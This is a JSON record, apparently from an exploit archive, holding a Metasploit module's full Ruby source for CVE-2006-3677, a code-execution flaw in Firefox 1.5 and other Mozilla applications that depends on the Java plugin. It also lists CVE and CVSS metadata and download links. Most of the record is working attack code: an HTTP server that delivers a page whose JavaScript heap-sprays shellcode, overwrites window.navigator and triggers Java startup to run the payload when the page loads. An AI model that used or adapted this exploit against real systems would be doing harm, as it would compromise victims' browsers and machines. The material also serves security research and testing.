{"exploit":{"id":"MSF-multi--browser--mozilla_navigatorjava","name":"Mozilla Suite/Firefox Navigator Object Code Execution","description":"This module exploits a code execution vulnerability in the Mozilla Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit requires the Java plugin to be installed.","cves":["CVE-2006-3677"],"author":"hdm","published":"2006-07-25","platform":"Linux,OSX,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/multi/browser/mozilla_navigatorjava.rb","path":"modules/exploits/multi/browser/mozilla_navigatorjava.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"mozilla_navigatorjava.rb","vulnerabilities":[{"id":"CVE-2006-3677","state":"PUBLISHED","title":null,"titleSource":null,"description":"Mozilla Firefox 1.5 before 1.5.0.5 and SeaMonkey before 1.0.3 allows remote attackers to execute arbitrary code by changing certain properties of the window navigator object (window.navigator) that are accessed when Java starts up, which causes a crash that leads to code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-3677","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-3677"},"updatedAt":"2024-08-07T18:39:53.571Z","retrievedAt":"2026-11-26T12:09:21.590Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--mozilla_navigatorjava.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--mozilla_navigatorjava","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--mozilla_navigatorjava/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--mozilla_navigatorjava/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpServer::HTML\n\n  # include Msf::Exploit::Remote::BrowserAutopwn\n  # autopwn_info({\n  #  :ua_name    => HttpClients::FF,\n  #  :ua_minver  => \"1.5.0\",\n  #  :ua_maxver  => \"1.5.1\",\n  #  :javascript => true,\n  #  :rank       => NormalRanking, # reliable memory corruption\n  #  :vuln_test  => %Q|\n  #    is_vuln = false;\n  #    if (navigator.javaEnabled()){\n  #      is_vuln = true;\n  #    }\n  #    |,\n  # })\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Mozilla Suite/Firefox Navigator Object Code Execution',\n        'Description' => %q{\n          This module exploits a code execution vulnerability in the Mozilla\n          Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit\n          requires the Java plugin to be installed.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => ['hdm'],\n        'References' => [\n          ['CVE', '2006-3677'],\n          ['OSVDB', '27559'],\n          ['BID', '19192'],\n          ['URL', 'http://www.mozilla.org/security/announce/mfsa2006-45.html']\n        ],\n        'Payload' => {\n          'Space' => 512,\n          'BadChars' => ''\n        },\n        'Targets' => [\n          [\n            'Firefox 1.5.0.4 Windows x86',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_X86,\n              'Ret' => 0x08000800,\n              'Fill' => '%u0800'\n            }\n          ],\n          [\n            'Firefox 1.5.0.4 Linux x86',\n            {\n              'Platform' => 'linux',\n              'Arch' => ARCH_X86,\n              'Ret' => -0x58000000,\n              'Fill' => '%ua8a8'\n            }\n          ],\n          [\n            'Firefox 1.5.0.4 Mac OS X PPC',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_PPC,\n              'Ret' => 0x0c000000,\n              'Fill' => '%u0c0c'\n            }\n          ],\n          [\n            'Firefox 1.5.0.4 Mac OS X x86',\n            {\n              'Platform' => 'osx',\n              'Arch' => ARCH_X86,\n              'Ret' => 0x1c000000,\n              'Fill' => '%u1c1c'\n            }\n          ],\n        ],\n        'DisclosureDate' => '2006-07-25',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def on_request_uri(cli, _request)\n    # Re-generate the payload\n    return if ((p = regenerate_payload(cli)).nil?)\n\n    print_status(\"Sending #{name}\")\n    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })\n\n    # Handle the payload\n    handler(cli)\n  end\n\n  def generate_html(payload)\n    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n    return %|\n<html><head>\n<script>\n  function Exploit() {\n    if (window.navigator.javaEnabled) {\n      var shellcode = unescape(\"#{enc_code}\");\n      var b = unescape(\"#{target['Fill']}\");\n      while (b.length <= 0x400000) b+=b;\n\n      var c = new Array();\n      for (var i =0; i<36; i++) {\n        c[i] =\n          b.substring(0,  0x100000 - shellcode.length) + shellcode +\n          b.substring(0,  0x100000 - shellcode.length) + shellcode +\n          b.substring(0,  0x100000 - shellcode.length) + shellcode +\n          b.substring(0,  0x100000 - shellcode.length) + shellcode;\n      }\n\n      window.navigator = (#{target['Ret']} / 2);\n      try {\n        java.lang.reflect.Runtime.newInstance(\n          java.lang.Class.forName(\"java.lang.Runtime\"), 0\n        );\n      }catch(e){\n\n      }\n    }\n  }\n</script>\n</head><body onload='Exploit()'>Please wait...</body></html>\n    |\n  end\nend\n","sha256":"3ea28e84b7323d13fe9d8024c5e09701c6f3193170a3e7ce9b98317bf1638cd0","bytes":3902,"fetchedAt":"2026-11-26T12:09:16.658Z","encoding":"utf-8 (display only; download retains original bytes)"}